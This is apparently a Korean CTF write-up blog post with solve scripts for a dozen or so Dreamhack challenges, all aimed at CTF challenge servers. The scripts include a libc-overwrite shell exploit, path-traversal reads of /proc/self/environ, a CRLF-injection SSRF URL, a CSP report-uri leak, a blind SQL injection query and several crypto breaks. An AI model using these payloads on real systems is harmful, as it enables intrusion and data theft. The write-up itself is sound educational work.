3등했다.
A: Zero Gravity
주어진 바이너리를 분석해보면 oob 취약점이 발생한다.
릭은 생각보다 간단하게 잘 되는데 overwrite를 할 때 부동소수점 연산의 정확도가 낮아서 맘대로 잘 안 덮혀서 좀 고생했다.
Float 연산해서 넣어주면 이제 제대로 덮을 수 있는데 memset함수의 첫 번째 인자가 우리가 입력하는 데이터여서 그냥 memset을 system함수로 덮어주면 된다.
from pwn import *
import struct
# p = process("./zero_gravity")
p = remote("host1.dreamhack.games", 18359)
e = ELF("./zero_gravity")
# libc = e.libc
libc = ELF("./libc.so.6")
def read(index):
p.sendlineafter(">>", "r")
p.sendlineafter(">>", str(index))
return float(p.recvline())
def add(index, value):
p.sendlineafter(">>", "a")
p.sendlineafter(">>", str(index))
p.sendlineafter(">>", str(value))
f2u = lambda x: u32(struct.pack("<f", x))
u2f = lambda x: struct.unpack("<f", p32(x))[0]
add(16, u2f(0x41414141))
libc_base = (f2u(read(-25)) << 32) | f2u(read(-26)) - libc.sym["__isoc99_scanf"]
leak = f2u(read(-30))
add(-30, u2f((libc_base + libc.sym["system"]) & 0xFFFFFFFF) - u2f(leak))
p.sendlineafter(">>", "sh")
p.interactive()
B: Bomblab - Hard
주어진 bomb 바이너리를 분석해보면 6개의 일반 스테이지와 1개의 히든 스테이지가 있음을 알 수 있으며, 각종 안티디버깅 기법이 걸려있는 것을 알 수 있다.
안티디버깅 기법은 간단히 바이너리를 nop 패치하여 우회할 수 있으며, 6개의 일반 스테이지는 간단한 리버싱을 통해 그에 맞는 해답을 구해 넘어갈 수 있다.
히든 스테이지의 경우에는 표면상으로는 입력을 int로 받고 비교를 double로 해서 통과가 불가능해 보이지만, libc 환경을 맞춰주고 디버깅해보면 return address를 ROP payload로 채워서 특정 로직을 수행하는 것을 확인할 수 있다.
열심히 gdb에서 엔터를 눌러가며 분석하면 어렵지 않게 로직을 파악해 알맞는 해답을 구할 수 있다.
from pwn import *
from z3 import *
p = process(argv=["./ld-linux-x86-64.so.2", "./bomb"], env={"LD_PRELOAD" : "./libc.so.6"})
print("[*] Phase 1: ", end="")
enc = [0x83, 0x9C, 0x89, 0x82, 0x93, 0x9F, 0x89, 0x9F, 0x8D, 0x81, 0x89]
answer = bytes(map(lambda x: x ^ 0xCC, enc)).decode()
print(answer)
p.sendline(answer)
print("[*] Phase 2: ", end="")
arr = [0]
for i in range(1, 6):
arr.append(arr[i-1] + ((i * (i + 1)) // 2))
answer = " ".join(map(str, arr))
print(answer)
p.sendline(answer)
print("[*] Phase 3: ", end="")
s = Solver()
v1 = BitVec("v1", 64)
v2 = BitVec("v2", 64)
s.add(0 <= v1)
s.add(v1 <= 0xFFFFFFFF)
s.add(0 <= v2)
s.add(v2 <= 0xFFFFFFFF)
s.add(((v1 * 0x1AD7E715) >> 53) * 0x500BF == (v1 - v2) / 0x3D)
s.check()
m = s.model()
answer = "{} {}".format(m[v1], m[v2])
print(answer)
p.sendline(answer)
print("[*] Phase 4: ", end="")
v1 = BitVec("v1", 32)
v2 = BitVec("v2", 32)
s.add(v1 <= 0x7FFFFFFF)
s.add(v2 <= 0x7FFFFFFF)
s.add((v1 * (v1 * (v1 * v1 - v2) - v2 * v1) - v2 * (v1 * v1 - v2)) == 0xC6BE719)
s.check()
m = s.model()
answer = "{} {} {}".format(m[v1], m[v2], "c0m0r1bb")
print(answer)
p.sendline(answer)
print("[*] Phase 5: ", end="")
answer = "0.70710676" # found with some brute-forcing :)
print(answer)
p.sendline(answer)
print("[*] Phase 6: ", end="")
answer = "12 15 2 17 18 21 7 19 23 31 41 59" # found with binary reversing (prime table)
print(answer)
p.sendline(answer)
print("[*] Secret Phase: ", end="")
result = b"[R0P_M4DN3SS!!]"
answer = ""
for r in result.hex():
answer += chr(int(r, 16) + 0x41)
print(answer)
p.sendline(answer)
p.recvuntil("Congratulations! You\"ve defused the bomb!\n")
flag = p.recvline().strip().decode()
print("[+] FLAG: {}".format(flag))
p.close()
C: pprintable
문제 제목과 같이 printable한 flag를 두 조각으로 나눠 p와 q를 설정했으며, p와 q의 비트 약 33%를 알려주었기 때문에 p와 q의 각 바이트마다 어느 정도 경우의 수를 구할 수 있다.
또한 N = p * q 이므로 N ≡ p * q (mod 2 ^ k) 임을 이용해 하위 바이트부터 브루트포싱을 수행해 p와 q를 구할 수 있다.
import string
N = 0x12376eadc9b0bd1f13fa9d904f5a1a75bb7ddaaa77ec5b1e8dec4cb7532b662fcc63a0dfa982e1702be449c9b295bf7a0b7c6ba3dc7aaf3856d681601e723aa3bce3e0cd064793a9c6b00eb01d3e3f0fbceddb208cba2598d9d6a35f3cf8623a1389686807fb5f8f53dd0a7f544c02d030f498f7aa315b7547783399bc88cd3e2859b6786b858a35593537ead5a0cc48401a24cefe6ac6997035f6571af098d5d5b24313437fd89d22cce7fa5907d73c219b609eeea9bcffab0f18504e1d2ed5669752e21dd17b57ea5cf6e6efa76cd965e4589539dc087e152fb4d3f1f90edcdcab22b71b326a3e7e0674f8820a24aa3be15756db2e908d434b80419061bf45
e = 0x10001
p_redacted = 0x50b4040146040415a04084000094153182141460200401063040440024200046055600042240040410248014e00410444640240166000001e09141101084025181052000c30004260000406100601226058401613084a0040492001040404620100401344612000215221412811086840005d06001060000008460040025000
p_mask = 0x250b70401c6444455a8418d2800945d3182dc1c7060a4010630c0c4282c2a0047575e8084aa4207ac592ca034e02e78445640f40366020089e0b9791119940b53818d2842c3082ea70818e0610a601b2e35844169708ca00404931912e04046e01004893e4632c80a1da23c9ab310868d402dd0600307283300cd680c1a25602
q_redacted = 0x80902304402050a7145440048082208004041205b60014000102340106007002a240b0108404005604000190060092010010004504c2104002100140009020270500022101530484551206642004c1424200000202040042210204c4143704000480101004809114629230312040040000600400420520943204412216404
q_mask = 0xaa0809033046833d9e7945e420480822090ac0c1a35bf00b48a21223c23060070c2a240b0328c4c235e0408819817209a11531101c50cd21a6012309b40c292302f05000221c353a5845f126e65210ec9c24a0001820284004bf1a206c45637b4500680581894d0d1d46bb2b039a2e84d008a604508420d219c32166b2276c04
ct = 0x97090fc71e4c4c7fe52fb9c5cafde7bae8cf5f911c2755174f3a61515f475c7000d127e23ad99498bd58078abe2890fe40c64067116c66be74ac5422e731905103f4ecc4ae6cf9478580d6fb373744b897caf2b95f01531b626afb46eb88c0f5f419635a27f903ab8ffc55094e015008cbb9520f07755da279226fefa8859bfef694b86ca3fdf88042361d18ecb7ae1ecf98041140b3f167687f45e3da914ee35f9d345782438018310da609578a1047a99a9c54ff846eb2017ac26a0cfb8f5e542c0c7feba904e0ff15a6e2712c2135f9c80b057185cd31a8e9e5371194d063776bdf3537837c705d3761dd6f0ec9419034c294914015bc0e3fbea474fdc15
p_redacted = bin(p_redacted)[2:].zfill(1024)
p_mask = bin(p_mask)[2:].zfill(1024)
p_redacted_list = []
for i in range(0, 1024, 8):
p_redacted_list.append(p_redacted[i:i+8])
p_mask_list = []
for i in range(0, 1024, 8):
p_mask_list.append(p_mask[i:i+8])
p_possible_list = []
for i in range(1024 // 8):
charset = list(string.ascii_letters + "_{}")
for j in range(8):
if p_mask_list[i][j] == "1":
charset = list(filter(lambda x: bin(ord(x))[2:].zfill(8)[j] == p_redacted_list[i][j], charset))
p_possible_list.append(list(map(ord, charset)))
p_possible_list.reverse()
q_redacted = bin(q_redacted)[2:].zfill(1024)
q_mask = bin(q_mask)[2:].zfill(1024)
q_redacted_list = []
for i in range(0, 1024, 8):
q_redacted_list.append(q_redacted[i:i+8])
q_mask_list = []
for i in range(0, 1024, 8):
q_mask_list.append(q_mask[i:i+8])
q_possible_list = []
for i in range(1024 // 8):
charset = list(string.ascii_letters + "_{}")
for j in range(8):
if q_mask_list[i][j] == "1":
charset = list(filter(lambda x: bin(ord(x))[2:].zfill(8)[j] == q_redacted_list[i][j], charset))
q_possible_list.append(list(map(ord, charset)))
q_possible_list.reverse()
mask = 0xFF
pq_found_list = [(0, 0)]
for i in range(len(p_possible_list)):
pq_found_list_t = []
for p_found, q_found in pq_found_list:
for p_possible in p_possible_list[i]:
for q_possible in q_possible_list[i]:
p_guess = (p_possible << (i * 8)) | p_found
q_guess = (q_possible << (i * 8)) | q_found
if (p_guess * q_guess) & mask == N & mask:
pq_found_list_t.append((p_guess, q_guess))
pq_found_list = pq_found_list_t[:]
mask = (mask << 8) | 0xFF
p_found, q_found = pq_found_list_t[0]
assert p_found * q_found == N
print("""
[+] Found p = {}
[+] Found q = {}
""".format(hex(p_found), hex(q_found)))
flag = (bytes.fromhex(hex(p_found)[2:]) + bytes.fromhex(hex(q_found)[2:])).decode()
print("[+] FLAG: {}".format(flag))
D: Obstacle
바이너리를 IDA로 뜯어보면 Objective-C로 컴파일한 바이너리라는 것을 알 수 있다.
평소에 보던 바이너리와 형태가 조금 다르지만 gdb를 통한 동적 분석을 겸하여 분석해보면 어렵지 않게 CBC 모드 블록 암호화 알고리즘을 파악할 수 있다.
import struct
KEY = b"Sup3r_s4f3_k3y\x00\x00"
IV = b"Sup3r_4ws0me_1v\x00"
xor = lambda a, b: list(map(lambda x: x[0] ^ x[1], zip(a, b)))
def round1_enc(block):
block_enc = xor(block, KEY)
return block_enc
def round1_dec(block):
block_dec = xor(block, KEY)
return block_dec
def round2_enc(block):
v1 = struct.unpack(">Q", bytes(block[:8]))[0]
v2 = struct.unpack(">Q", bytes(block[8:]))[0]
block_enc = []
block_enc.extend(struct.pack(">Q", v2))
block_enc.extend(struct.pack(">Q", (v1 ^ ((v2 >> 19) | (v2 << 13))) & 0xFFFFFFFFFFFFFFFF))
return block_enc
def round2_dec(block):
v1 = struct.unpack(">Q", bytes(block[:8]))[0]
v2 = struct.unpack(">Q", bytes(block[8:]))[0]
block_dec = []
block_dec.extend(struct.pack(">Q", (v2 ^ ((v1 >> 19) | (v1 << 13))) & 0xFFFFFFFFFFFFFFFF))
block_dec.extend(struct.pack(">Q", v1))
return block_dec
__ROL1__ = lambda x, n: ((x << n) & 0xFF) | (x >> (8 - n))
def sbox_f(v23):
if v23 == 0:
v33 = 99
else:
v24 = 1
v25 = 1
# do
v26 = v25 ^ (2 * v25) ^ 0x1B
v27 = (v25 & 0x80) != 0
v25 ^= 2 * v25
if ( v27 ):
v25 = v26
v24 ^= (4 * (v24 ^ (2 * v24))) ^ (2 * v24) ^ (16 * ((4 * (v24 ^ (2 * v24))) ^ v24 ^ (2 * v24)))
if ( (v24 & 0x80) != 0 ):
v24 ^= 9
# while
while v23 != (v25 & 0xFF):
v26 = v25 ^ (2 * v25) ^ 0x1B
v27 = (v25 & 0x80) != 0
v25 ^= 2 * v25
if ( v27 ):
v25 = v26
v24 ^= (4 * (v24 ^ (2 * v24))) ^ (2 * v24) ^ (16 * ((4 * (v24 ^ (2 * v24))) ^ v24 ^ (2 * v24)))
if ( (v24 & 0x80) != 0 ):
v24 ^= 9
v24 &= 0xFF
v33 = __ROL1__(v24, 3) ^ __ROL1__(v24, 2) ^ v24 ^ 0x63 ^ __ROL1__(v24, 1) ^ __ROL1__(v24, 4)
return v33
sbox = {}
sbox_inv = {}
for i in range(0x100):
sbox[i] = sbox_f(i)
sbox_inv[sbox_f(i)] = i
def round3_enc(block):
block_enc = [None for _ in range(0x10)]
i = 1
for j in range(0x10):
block_enc[i] = sbox[block[j]]
i = (i * 9 + 3) & 0xF
return block_enc
def round3_dec(block):
block_dec = []
i = 1
for _ in range(0x10):
block_dec.append(sbox_inv[block[i]])
i = (i * 9 + 3) & 0xF
return block_dec
flag_enc = list(bytes.fromhex("483918c5094768c537f60136658101142f7f30d93639b93020d8da002fbd1bcc186192025fe8b247530792b520c6c1a3b83789b93bc54ce30ae5d4f058213d45"))
flag_dec = b""
for i in range(0, len(flag_enc), 16):
block = flag_enc[i:i+16]
block = round2_dec(block)
block = round1_dec(block)
for _ in range(101):
block = round3_dec(block)
block = round2_dec(block)
block = round1_dec(block)
if i == 0:
block = xor(block, IV)
else:
block = xor(block, flag_enc[i-16:i])
flag_dec += bytes(block)
flag_dec = flag_dec.decode()
print("[*] FLAG: {}".format(flag_dec))
F: Heliodor
코드를 읽어보면 우리가 원하는 파일을 맘대로 다운로드할 수 있다.
https://github.com/nodejs/node/issues/43669
하지만 위의 이슈로 인해 플래그가 들어있는 /proc/self/environ을 받을 수 없다.
몇 번 이 이슈를 경험해본 적이 있어서 어떻게 하면 해결할 수 있을지 고민을 좀 해봤는데 레이스컨디션을 이용하여 fs.stat에서 /etc/passwd와 같은 파일을 가리켜서 정상적인 size를 반환하게 한 상태에서 fs.createReadStream에서 /proc/self/environ을 읽게 만들면 어떨까라는 생각이 들었고
이를 토대로 익스플로잇을 작성해서 돌려보니 실제로 작동했다.
from pwn import *
context.log_level = "debug"
p1 = remote("host1.dreamhack.games",20043)
p2 = remote("host1.dreamhack.games",20043)
p3 = remote("host1.dreamhack.games",20043)
payload1 = """import requests
while True:
requests.get("http://10.88.2.1:58283/query/view/..proc..self..environ")
"""
payload2 = """import requests
while True:
requests.get("http://10.88.2.1:58283/query/view/..etc..passwd")
"""
payload3 = """import requests
while True:
r = requests.get("http://10.88.2.1:58283/query/view/..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..fd..21").text
if "error" not in r:
print("find : " +r)
"""
p1.sendlineafter("$","python3")
p1.sendlineafter(">>>",payload1)
p2.sendlineafter("$","python3")
p2.sendlineafter(">>>",payload2)
p3.sendlineafter("$","python3")
p3.sendlineafter(">>>",payload3)
p3.interactive()
G: Emerald Tablet
https://blog.sonarsource.com/disclosing-information-with-a-side-channel-in-django
아주 좋은 레퍼런스가 있다. 정말 친절하게 잘 설명해놔서 그냥 저대로 따라하면 된다.
import requests
from bs4 import BeautifulSoup
url = "http://host1.dreamhack.games:10222/list/?sort=key.urn."
key = ""
for k in range(9,45):
#28,23,32
url_ = url + str(k)
res = requests.get(url_).text
soup = BeautifulSoup(res, "html.parser")
data = soup.select_one("table.table")
t = soup.find_all("th",{"scope":"row"})
uuid = {"0":[],"1":[],"2":[],"3":[],"4":[],"5":[],"6":[],"7":[],"8":[],"9":[],"a":[],"b":[],"c":[],"d":[],"e":[],"f":[]}
tmp = -1
j = 0
for i in t:
_ = int(i.get_text())
if tmp > _:
if j == 0:
j = 1
elif j == 1:
j = 2
elif j == 2:
j = 3
elif j == 3:
j = 4
elif j == 4:
j = 5
elif j == 5:
j = 6
elif j == 6:
j = 7
elif j == 7:
j = 8
elif j == 8:
j = 9
elif j == 9:
j = "a"
elif j == "a":
j = "b"
elif j == "b":
j = "c"
elif j == "c":
j = "d"
elif j == "d":
j = "e"
elif j == "e":
j = "f"
tmp = _
uuid[str(j)].append(_)
if k == 17:
key += "-"
break
elif k == 22:
key += "-"
break
elif k == 23:
key += "4"
break
elif k == 27:
key += "-"
break
elif k == 28:
key += "?"
break
elif k == 32:
key += "-"
break
elif _ == 1:
key += str(j)
break
print(key)
print(key)
stable한 익스를 위해 글을 300~400개 정도 등록해두고 익스플로잇을 돌리면 flag 게시글의 uuid가 나온다.
중간에 물음표가 들어간 부분은 [a-f0-9]의 범위 안에서 돌려가면서 넣어보면 된다.
M: cheat
client 바이너리를 분석해보면 아래와 같이 움직이면 flag를 얻을 수 있을거라 추측할 수 있다.
11111110000001111111
10000010111001000000
10000010101001000000
10111110101001000000
10100000101001111110
10111111101000000010
11111110001111111110
00000010000000000000
11111011111101111111
10001000000000000001
11111111111101111101
00001000000000000101
11111000000000000111
10000000000000000000
11111111111111111100
11000000000000000100
11000111110000111100
11000100010111100111
11111100110100111101
11111111100111100001
server 바이너리를 분석해보면 1초에 최대 2칸 움직일 수 있음을 생각하며 잘 움직이면 flag를 얻을 수 있다.
from pwn import *
context.log_level = "error"
p =
pos = [0, 19]
def send_pos():
p.sendline("{} {}".format(pos[0], pos[1]))
sleep(1)
def move(x):
global pos
if x == "w":
pos[0] -= 1
elif x == "a":
pos[1] -= 1
elif x == "s":
pos[0] += 1
elif x == "d":
pos[1] += 1
elif x == "W":
pos[0] -= 2
elif x == "A":
pos[1] -= 2
elif x == "S":
pos[0] += 2
elif x == "D":
pos[1] += 2
send_pos()
send_pos()
s = "aaaaaassssdddddssaaaaaaaawwwwwaassssaaaaaawwddddwwwaaaaaassssssddddddssdddddDddddddssssaawwaaaaAaaaaaaaaaaawwddddsSsaaaasssssssddddddddwdwwaaaassaaaawwwwddddddddddddddddssaaasaaassdddwdddwddss"
for c in s:
move(c)
p.interactive()
N: Private Storage
간단한 rc4 문제다. 암호화된 플래그를 주기 때문에 고정된 키를 사용할 때 발생하는 rc4의 취약한 특징을 이용해주면 플래그를 복호화할 수 있다.
https://github.com/gexxxter/RC4StaticKeyAttack
마침 좋은 스크립트가 있어서 이를 수정해서 돌려보니 플래그를 얻을 수 있었다.
import sys
import base64
import zlib
import string
from pwn import *
#context.log_level="debug"
p = remote("host3.dreamhack.games",15867)
def decrypt(plaintext,ciphertext,wantdecrypt):
knownPlaintext = zlib.compress(plaintext.encode())
knownCiphertext = ciphertext
unknownCiphertext = wantdecrypt
decrypted = bytearray()
for i in range(0, len(unknownCiphertext)):
p = knownPlaintext[i % len(knownPlaintext)]
c1 = knownCiphertext[i % len(knownCiphertext)]
c2 = unknownCiphertext[i]
decrypted.append(p ^ c1 ^ c2)
print(zlib.decompress(decrypted))
print("hi")
sys.exit()
def writeFile(name,data):
p.sendlineafter(">>","3")
p.sendlineafter(">>",name)
p.sendlineafter(">>",data)
def readFile(name):
p.sendlineafter(">>","2")
p.sendlineafter(">>",name)
p.recvuntil(": ")
data =p.recvuntil("\n")
return base64.b64decode(data)
enc_flag = readFile("flag.txt")
print(len(enc_flag))
for i in range(1,100):
print(i)
text = "".join(random.choice(string.ascii_uppercase+ string.ascii_lowercase+ string.digits) for _ in range(i))
writeFile(str(i),text)
tmp = readFile(str(i))
try:
decrypt(text,tmp, enc_flag)
except Exception as e:
print(e)
print("fail")
pass
O: Checkers
코드가 많이 복잡한 문제지만 생각보다 간단하다.
Encrypt 로직을 잘 보면 처음 코드가 실행된 이후엔 같은 문자열에 대해 항상 동일한 값이 나오게 되며 입력된 글자를 2~3개 단위로 잘라서 암호화한다.
그렇기 때문에 그냥 브포 코드 짜서 flag랑 비교하면서 돌려주면 된다.
#!/usr/bin/python3
from pwn import *
import sys
import argparse
parser = argparse.ArgumentParser()
parser.add_argument("--prefix", help="")
args = parser.parse_args()
tmp = args.prefix
string = "ABCDEFGHIJKLMNOPQRSTUVWXYZ_/"
p = remote("host3.dreamhack.games",15261)
p.sendlineafter("Exit\n","3")
p.recvuntil("Flag :")
enc_flag = p.recvuntil("\n")[4:][:-2].decode()
print(enc_flag)
#tmp="STRADDLING_CHECKERBiO"
for i in range(0,57):
cnt = 1
for j in string:
tmp_ = tmp + j
print(tmp_)
p.sendlineafter("Exit\n","1")
p.sendlineafter("message\n",tmp_)
p.recvuntil("message :")
enc_data = p.recvuntil("\n")[:-1].decode()
if enc_data == enc_flag[:len(enc_data)]:
tmp += j
cnt = 0
else:
continue
P: farmer
ext4 파일시스템 덤프가 주어진다. 다음과 같은 bash script를 실행해 mount할 수 있다.
#!/bin/bash
sudo mkdir /mnt/farmer
sudo mount ./dump /mnt/farmer
/home/ubuntu 디렉토리에서 바이너리와 암호화된 것으로 추정되는 파일들을 확인할 수 있다.
$ ls /mnt/farmer/home/ubuntu/
binary flag.png.01 flag.png.03 flag.png.05 flag.png.07 flag.png.09
flag.png.00 flag.png.02 flag.png.04 flag.png.06 flag.png.08
바이너리를 분석해보면 srand(time(NULL))로 랜덤 시드를 설정하고 rand()를 사용해 나온 값으로 각종 암호화를 진행하는 것을 확인할 수 있다.
암호화된 파일들의 수정 시각을 확인해 랜덤 시드를 알아내 이를 통해 복호화를 진행할 수 있다.
from ctypes import *
from Crypto.Util.Padding import unpad
import os
libc = CDLL("libc.so.6")
try:
os.remove("flag.png")
except:
pass
for n in range(10):
path = "/mnt/farmer/home/ubuntu/flag.png.0{}".format(n)
libc.srand(int(os.path.getmtime(path)))
data = list(open(path, "rb").read())
xor_key = [libc.rand() & 0xFF for _ in range(0x10)]
enc_list = []
for i in range(0x40):
mode = libc.rand() % 3
if mode == 0:
list1 = list()
list2 = list()
sbox = {}
for j in range(0x100):
list1.insert(0, j)
for j in range(0x100):
r = libc.rand() % (256 - j)
for _ in range(r):
list2.insert(0, list1.pop(0))
v = list1.pop(0)
for _ in range(r):
list1.insert(0, list2.pop(0))
sbox[j] = v
enc_list.append((mode, sbox))
elif mode == 1:
list1 = list()
list2 = list()
shuffle_list = list()
for j in range(0x10):
list1.insert(0, j)
for j in range(0x10):
r = libc.rand() % (16 - j)
for _ in range(r):
list2.insert(0, list1.pop(0))
v = list1.pop(0)
for _ in range(r):
list1.insert(0, list2.pop(0))
shuffle_list.append(v)
enc_list.append((mode, shuffle_list))
elif mode == 2:
enc_list.append((mode, xor_key))
for e_mode, e_arg in enc_list[::-1]:
if e_mode == 0:
sbox_inv = {v: k for k, v in e_arg.items()}
for j in range(0, len(data), 16):
for k in range(0x10):
data[j+k] = sbox_inv[data[j+k]]
elif e_mode == 1:
for j in range(0, len(data), 16):
data_t = data[j:j+16][:]
for k in range(0x10):
data[j+k] = data_t[e_arg[k]]
elif e_mode == 2:
for j in range(0, len(data), 16):
for k in range(16):
data[j+k] ^= e_arg[k]
with open("flag.png", "ab") as f:
f.write(unpad(bytes(data), 16))
Q: API Portal
flag를 얻으려면 flag/flag.php로 리퀘스트를 보내야한다. 다행히도 proxy/post.php에서 내부에서 리퀘스트를 보낼 수 있는 기능을 지원해준다.
$header = "User-Agent: API Portal Proxy\r\n";
$header .= "X-Forwarded-For: {$ip}\r\n";
$header .= "X-Api-Referer: {$referer}";
$ctx = stream_context_create(array(
"http" => array(
"method" => "POST",
"content" => "", //TODO: implement
"header" => $header
)
));
Post data를 컨트롤 할 수 없을 것처럼 보이지만 header부분에서 crlf injection이 된다. 그걸로 post data를 적절하게 구성해준 다음 서버로 요청을 보내면 플래그를 얻을 수 있다.
challenge_server?action=net/proxy/post&url=127.0.0.1/%3faction=flag/flag&%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0aContent-Length:%2024%0d%0a%0d%0amode=write&dbkey=a&key=a
위와 같이 보내면 flag를 base64 인코딩해서 내 db에 넣을 수 있고 read기능을 이용해서 flag를 읽어주면 된다.
R: 100-100
<?php
include "tools.php";
header("Content-Security-Policy: default-src 'none'; base-uri 'none'; navigate-to 'none';");
if($_GET["extreme"])
header($_GET["extreme"], false); // FYI: second "false" means "don"t override existing header"
function simple_template($input) {
$input = str_replace("{{flag}}", get_flag(), $input);
$input = str_replace("{{hint}}", get_hint(), $input);
$input = str_replace("{{coke}}", "pepsi", $input);
$input = str_replace("{{mintchoco}}", "<h1><b>NOT toothpaste</b></h1>", $input);
$input = str_replace("{{referer}}", htmlspecialchars($_SERVER["HTTP_REFERER"]), $input);
$input = str_replace("{{get0}}", htmlspecialchars($_GET[0]), $input);
$input = str_replace("{{random}}", rand(100000, 999999), $input);
return $input;
}
?>
<?= simple_template(substr($_GET["content"], 0, 100)) // wow one more 100 ?>
헤더를 맘대로 컨트롤 할 수 있으며 body에 원하는 데이터를 넣을 수 있다.
하지만 csp로 인해 script를 사용할 수 없으며 outbound 연결은 막혀있다고 한다. 그럼 이제 script없이 post data를 보내야 하는데
다행히도 csp에서 report-uri라는 것을 지원해준다. 대충 csp violation이 발생하면 지정된 url로 그것에 대한 정보를 보내는 건데 이때 post로 날라간다.
이를 이용하면 플래그를 얻을 수 있다.
http://host1.dreamhack.games:17712/prob.php?content=%3Cscript%3E{{flag}}%3C/script%3E&extreme=Content-Security-Policy:%20script-src%20%27nonce-1%27;%20report-uri:%20http://host1.dreamhack.games:17712/receiver.php?uid=a
S: sleepingshark
네트워크 패킷을 분석하는 문제다.
대충 패킷에 있는 http request를 읽어보면 time based blind sql injection 페이로드들이 들어있는데 flag라는 문자열이 있는 것을 통해 데이터베이스에서 추출하고 있는 데이터가 flag라는 것을 추측할 수 있다.
SELECT IF(ASCII(SUBSTRING((SELECT flag FROM s3cr3t LIMIT 1),35,1))=156, SLEEP(3), 0)
만약 플래그를 뽑는데 성공했으면 3초의 sleep이 걸릴 것이고 실패했다면 지연이 걸리지 않을 것이기 때문에 응답시간을 기준으로 플래그를 뽑으면 될 것이다.
위의 사진과 같이 시간 순으로 패킷을 정렬했을 때 3초 이상 지연이 걸린 패킷들을 발견할 수 있었다.
이후 해당 패킷들을 분석하여 플래그 조각을 뽑은 다음 잘 정렬해주면 플래그를 얻을 수 있다.
'ctf writeup' 카테고리의 다른 글
DiceCTF 2023 - unfinished (0) | 2023.02.06 |
---|---|
Balsn CTF 2022 2linenodejs writeup (0) | 2022.09.07 |
LINE CTF 2022 web writeup (0) | 2022.03.27 |
Codegate 2022 Preliminary writeup (0) | 2022.02.27 |
Real World CTF 4th - web writeup (0) | 2022.01.30 |